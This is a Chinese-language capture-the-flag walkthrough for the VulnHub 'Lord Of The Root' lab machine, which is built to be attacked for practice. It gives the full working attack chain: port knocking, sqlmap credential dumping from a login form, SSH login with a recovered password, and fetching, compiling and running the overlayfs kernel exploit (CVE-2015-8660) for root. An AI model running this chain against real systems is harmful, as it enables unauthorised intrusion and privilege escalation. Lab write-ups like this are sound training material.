靶机地址:Lord Of The Root: 1.0.1 ~ VulnHub
文章简要记录渗透靶机每一个过程,对于渗透过程中的每一步并非十分的详细,其中部分内容会有错,望读者指出错误,谢谢!
摘要:扫描后只有一个22端口,根据提示进行端口碰撞后发现1337端口的http服务,浏览页面得到一串base64提示,解码为一个目录,该目录是一个登录表单,使用sqlmap跑该表单,得到相关用户和密码信息,登录上ssh,查看系统及内核版本,搜索相关漏洞,使用CVE-2015-8660漏洞进行提权。
可完善的地方:提权方法还有几种、端口碰撞知识、sqlmap使用
主机探测&端口扫描
靶机ip为:192.168.1.14
端口扫描结果:
hhh@Kali2020:~$ sudo nmap -A -sS -sV -p- -T5 192.168.1.14
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-31 21:43 CST
Nmap scan report for lordoftheroot (192.168.1.14)
Host is up (0.00024s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
| 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 08:00:27:F6:E9:F1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.24 ms lordoftheroot (192.168.1.14)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.64 seconds
信息搜集
22端口 ssh服务
提示 lort knock friend to enter
进行端口碰撞——从外部按照一个正确的顺序连接防火墙预先设定的端口(这儿是123),就可以实时改变防火墙策略、开放端口。 简单来说就是如果我们按照正确的顺序连接其端口后,它就会开放隐藏的端口
途径一: nmap
nmap -n -v0 -Pn --max-retries 0 -p 1 192.168.1.14
nmap -n -v0 -Pn --max-retries 0 -p 2 192.168.1.14
nmap -n -v0 -Pn --max-retries 0 -p 3 192.168.1.14
-n:不进行DNS解析
-v0:表示不输出详细信息(-v1输出正常信息,-v2输出详细信息)
-Pn:不进行主机扫描(默认将所有的主机视为在线),直接进行更深层次的扫描
--max-retries 0: 表示端口扫描探测包最多被重传0次,即不允许重传
-p 1: 指定扫描的端口为1
参考:https://svn.nmap.org/nmap/docs/nmap.usage.txt
途径二:hping3
hping3 -S 192.168.1.14 -p 1 -c 1
hping3 -S 192.168.1.14 -p 2 -c 1
hping3 -S 192.168.1.14 -p 3 -c 1
1337端口
对该网页进行搜集,发现一串代码
进行base64解密得到一个目录 /978345210/index.php
hhh@Kali2020:~$ echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
hhh@Kali2020:~$ echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d
/978345210/index.php
前往该目录,发现是一个登录表单
使用sqlmap
- 使用sqlmap进行基于表单的的注入查看,检索数据库名称和登录凭证
得到一些数据库名称
sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms --dbs
-o:开启所有优化
-u:指定目标URL
--forms:自动判断注入
--dbs:枚举DBMS所有的数据库名称
- 对Webapp数据库进一步地信息获取
sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms -D Webapp --tables
-D:指定数据库
--tables:列出该数据库所有的表
- 对Webapp的User表进一步地信息获取
sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms -D Webapp -T Users --columns
-T:指定表
--columns:列出该表的所有表项
- 获取这些用户名以及密码
sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump
-C:指定列
--dump:转储DBMS的数据库中的表项
权限获取
获取到上面的账号密码信息后,可以一个个进行登录,尝试得到正确的账号和密码是smeagol和MyPreciousR00t
成功登录
ssh smeagol@192.168.1.14
权限提升
先查看当前系统的信息 Ubuntu 14.04 Linux Kernel 3.19.0-25
smeagol@LordOfTheRoot:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.3 LTS
Release: 14.04
Codename: trusty
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 athlon i686 GNU/Linux
方法一:Ubuntu14.04漏洞提权
- 在exploit-db中搜索相关信息Ubuntu14.04
点进去查看是否符合一些版本条件,最后选择了id为39166这一个漏洞
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) - Linux local Exploit (exploit-db.com)
- 在kali中搜索该漏洞
searchsploit 39166
- 拷贝到当前目录
cp /usr/share/exploitdb/exploits/linux/local/39166.c .
- 发送到靶机上
python -m SimpleHTTPServer 5555
wget 192.168.1.15:5555/39166.c
- 编译执行
前往root目录下获取到flag文件
gcc 39166.c -o exp
./exp
id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
方法一拓展
在该系统上跑les.sh工具,可以自动地列出可能的漏洞
les.sh工具
./les.sh
这里我又尝试了下DirtyCOW进行提权,但是报错 cannot execute binary file: Exec format error
其余的有空再看咯
总结
- 端口碰撞port_knocking
- nmap参数
- sqlmap跑登录表单信息
- Ubuntu14.04漏洞提权
- les.sh工具
参考
https://www.cnblogs.com/jerrylocker/p/10767304.html
https://blog.csdn.net/zsf1235/article/details/50974194
https://blog.csdn.net/qq_34801745/article/details/103792018
https://www.cnblogs.com/zongdeiqianxing/p/13503635.html
如何使用LES对Linux进行渗透测试研究 - FreeBuf网络安全行业门户